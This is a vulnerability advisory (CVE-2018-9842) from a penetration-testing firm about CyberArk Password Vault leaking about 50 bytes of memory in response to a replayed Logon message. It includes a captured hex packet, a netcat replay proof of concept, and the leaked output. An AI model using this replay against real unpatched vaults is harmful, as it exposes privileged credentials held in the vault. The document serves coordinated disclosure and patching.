CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure
Advisory: CyberArk Password Vault Memory Disclosure Data in the CyberArk Password Vault may be accessed through a proprietary network protocol. While answering to a client's logon request, the vault discloses around 50 bytes of its memory to the client. Details ======= Product: CyberArk Password Vault Affected Versions: < 9.7, < 10 Fixed Versions: 9.7, 10 Vulnerability Type: Information Disclosure Security Risk: high Vendor URL: https://www.cyberark.com/ Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-015 Advisory Status: published CVE: CVE-2018-9842 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9842 Introduction ============ "CyberArk Enterprise Password Vault is designed to secure, rotate and control access to privileged account credentials based on organizational policies. A flexible architecture allows organizations to start small and scale to the largest, most complex IT environments. The solution protects privileged account credentials used to access the vast majority of systems." (from the Enterprise Password Vault Data Sheet [1]) More Details ============ The CyberArk Password Vault serves as a database to securely store credentials. Furthermore, the vault enforces access controls and logs access to its records. Data stored in the vault may be accessed through a proprietary network protocol which is usually transmitted over TCP port 1858. Various clients, such as web applications or command line tools, are provided by CyberArk to interface with a vault. The first message a client sends to the vault is a "Logon" command. Using a network sniffer, such a message was captured: $ xxd logon.bin 00000000: ffff ffff f700 0000 ffff ffff 3d01 0000 ............=... 00000010: 5061 636c 6953 6372 6970 7455 7365 7200 PacliScriptUser. 00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0020 2020 ............. 00000070: 20ff ffff ff00 0000 0000 0000 0000 0073 ..............s 00000080: 0000 00ce cece ce00 0000 0000 0000 0000 ................ 00000090: 0000 0000 0000 0030 3d4c 6f67 6f6e fd31 .......0=Logon.1 000000a0: 3135 3d37 2e32 302e 3930 2e32 38fd 3639 15=7.20.90.28.69 000000b0: 3d50 fd31 3136 3d30 fd31 3030 3dfd 3231 =P.116=0.100=.21 000000c0: 373d 59fd 3231 383d 5041 434c 49fd 3231 7=Y.218=PACLI.21 000000d0: 393d fd33 3137 3d30 fd33 3537 3d30 fd32 9=.317=0.357=0.2 000000e0: 323d 5061 636c 6953 6372 6970 7455 7365 2=PacliScriptUse 000000f0: 72fd 3336 373d 3330 fd00 00 r.367=30... Starting at offset 0x97, a type of remote procedure call can be identified. In this case, "Logon" is invoked for the user "PacliScriptUser". This message does not contain any random, unpredictable data. Therefore, it may be replayed at will once captured. This can be accomplished using netcat: ------------------------------------------------------------------------ $ cat logon.bin | nc -v 10.0.0.5 1858 ------------------------------------------------------------------------ RedTeam Pentesting discovered that the message sent by the vault in response to a "Logon" command contains about 50 bytes of the vault's memory. Proof of Concept ================ To trigger the vulnerability, a previously captured logon message is sent to the vault using netcat: ------------------------------------------------------------------------ $ cat logon.bin | nc -v 10.0.0.5 1858 | xxd Ncat: Version 7.40 ( https://nmap.org/ncat ) Ncat: Connected to 10.0.0.5:1858. Ncat: 251 bytes sent, 273 bytes received in 0.01 seconds. 00000000: e500 0000 0000 0000 3001 0000 5061 636c ........0...Pacl 00000010: 6953 6372 6970 7455 7365 7200 0000 0000 iScriptUser..... 00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 001e 0200 ................ 00000070: 0078 9c53 6362 0003 7616 0686 ff40 e019 .x.Scb..v....@.. 00000080: e2e8 ec6b 6069 eaaa 1052 9498 579c 985c ...k`i...R..W..\ 00000090: 9299 9fa7 e093 9f0e 248b b333 0b0a 5253 ........$..3..RS 000000a0: 14d2 f28b 144a 8b53 8b14 0212 9373 3283 .....J.S.....s2. 000000b0: 938b 320b 4a42 817c 3d85 a0d4 c4e2 fc3c ..2.JB.|=......< 000000c0: 2b05 a070 6a5e 8942 717e 7276 6a89 4266 +..pj^.Bq~rvj.Bf 000000d0: 3150 20bf 3835 458f 8b61 140c 15c0 08c4 1P .85E..a...... 000000e0: 0063 0e25 c06d 6265 7220 3d20 7661 756c .c.%.mber = vaul 000000f0: 745f 6669 6c65 5f63 6174 6567 6f72 6965 t_file_categorie 00000100: 735f 7265 636f 7264 7300 2968 b8fb aae9 s_records.)h.... 00000110: 62 ------------------------------------------------------------------------ Starting at offset 0xe0, the vault discloses a total of 49 bytes of its memory to the client. Workaround ========== None Fix === Upgrade CyberArk Password Vault to version 9.7 or 10. Security Risk ============= This vulnerability is rated as a high risk. Exploitation only requires network access to a PrivateArk Password Vault. Although each request only discloses about 50 bytes of memory, sustained exploitation will likely reveal sensitive information at some point in time. This critically undermines the primary purpose of the PrivateArk Password Vault. Timeline ======== 2017-11-24 Vulnerability identified 2018-01-22 Customer approved disclosure to vendor 2018-02-05 Vendor notified 2018-04-06 CVE number requested 2018-04-07 CVE number assigned 2018-04-09 Advisory released References ========== [1] http://lp.cyberark.com/rs/316-CZP-275/images/ds-enterprise-password-vault-11-15-17.pdf RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen |